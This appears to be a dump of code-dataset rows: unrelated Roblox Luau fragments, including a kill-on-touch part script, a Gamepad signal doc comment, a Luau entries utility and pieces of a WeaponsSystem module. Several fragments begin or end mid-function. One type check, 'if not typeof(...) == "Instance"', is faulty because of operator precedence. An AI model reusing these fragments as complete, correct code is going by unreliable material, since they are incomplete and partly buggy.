if x:IsA("Part") then
if x.Color == Color3.fromRGB(0,255,0) then
x.Touched:Connect(function(player)
pcall(function()
local plr = game:GetService("Players"):GetPlayerFromCharacter(player.Parent)
local human = plr.Character.Humanoid
if human then
if not debounce then -- Check that debounce variable is not true
debounce = true -- Set variable to true
plr.Character:WaitForChild("Humanoid").Health = 0
debounce = false -- Reset variable to false
end
else
end
end)
end)
end
end
end
|
--[=[
@within Gamepad
@prop ButtonUp Signal<(button: Enum.KeyCode, processed: boolean)>
@readonly
The ButtonUp signal fires when a gamepad button is released.
The released KeyCode is passed to the signal, along with
whether or not the event was processed.
```lua
gamepad.ButtonUp:Connect(function(button: Enum.KeyCode, processed: boolean)
print("Button up", button, processed)
end)
```
]=] | |
--[[
Poppercam - Occlusion module that brings the camera closer to the subject when objects are blocking the view
Refactored for 2018 Camera Update but functionality is unchanged - AllYourBlox
--]] | |
--!strict |
type Object = { [string]: any }
local Array = require(script.Parent.Parent.Array)
type Array<T> = Array.Array<T>
type Tuple<T, V> = Array<T | V>
return function(value: string | Object | Array<any>): Array<any>
assert(value :: any ~= nil, "cannot get entries from a nil value")
local valueType = typeof(value)
local entries: Array<Tuple<string, any>> = {}
if valueType == "table" then
for key, keyValue in pairs(value :: Object) do
-- Luau FIXME: Luau should see entries as Array<any>, given object is [string]: any, but it sees it as Array<Array<string>> despite all the manual annotation
table.insert(entries, { key :: string, keyValue :: any })
end
elseif valueType == "string" then
for i = 1, string.len(value :: string) do
entries[i] = { tostring(i), string.sub(value :: string, i, i) }
end
end
return entries
end
|
--WeaponsSystem.camera:setEnabled(false) |
Camera.CFrame = original_cameraCF
else
WeaponsSystem.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
humanoid:EquipTool(WeaponsSystem.seatedWeapon)
end
end)
end
function WeaponsSystem.shutdown()
if not WeaponsSystem.didSetup then
return
end
for _, weapon in pairs(WeaponsSystem.knownWeapons) do
weapon:onDestroyed()
end
WeaponsSystem.knownWeapons = {}
if IsServer and WeaponsSystem.networkFolder then
WeaponsSystem.networkFolder:Destroy()
end
WeaponsSystem.networkFolder = nil
WeaponsSystem.remoteEvents = {}
WeaponsSystem.remoteFunctions = {}
for _, connection in pairs(WeaponsSystem.connections) do
if typeof(connection) == "RBXScriptConnection" then
connection:Disconnect()
end
end
WeaponsSystem.connections = {}
end
function WeaponsSystem.getWeaponTypeFromTags(instance)
for _, tag in pairs(CollectionService:GetTags(instance)) do
local weaponTypeFound = WEAPON_TYPES_LOOKUP[tag]
if weaponTypeFound then
return weaponTypeFound
end
end
return nil
end
function WeaponsSystem.createWeaponForInstance(weaponInstance)
coroutine.wrap(function()
local weaponType = WeaponsSystem.getWeaponTypeFromTags(weaponInstance)
if not weaponType then
local weaponTypeObj = weaponInstance:WaitForChild("WeaponType")
if weaponTypeObj and weaponTypeObj:IsA("StringValue") then
local weaponTypeName = weaponTypeObj.Value
local weaponTypeFound = WEAPON_TYPES_LOOKUP[weaponTypeName]
if not weaponTypeFound then
warn(string.format("Cannot find the weapon type \"%s\" for the instance %s!", weaponTypeName, weaponInstance:GetFullName()))
return
end
weaponType = weaponTypeFound
else
warn("Could not find a WeaponType tag or StringValue for the instance ", weaponInstance:GetFullName())
return
end
end
-- Since we might have yielded while trying to get the WeaponType, we need to make sure not to continue
-- making a new weapon if something else beat this iteration.
if WeaponsSystem.getWeaponForInstance(weaponInstance) then
warn("Already got ", weaponInstance:GetFullName())
warn(debug.traceback())
return
end
-- We should be pretty sure we got a valid weaponType by now
assert(weaponType, "Got invalid weaponType")
local weapon = weaponType.new(WeaponsSystem, weaponInstance)
WeaponsSystem.knownWeapons[weaponInstance] = weapon
end)()
end
function WeaponsSystem.getWeaponForInstance(weaponInstance)
if not typeof(weaponInstance) == "Instance" then
warn("WeaponsSystem.getWeaponForInstance(weaponInstance): 'weaponInstance' was not an instance.")
return nil
end
return WeaponsSystem.knownWeapons[weaponInstance]
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.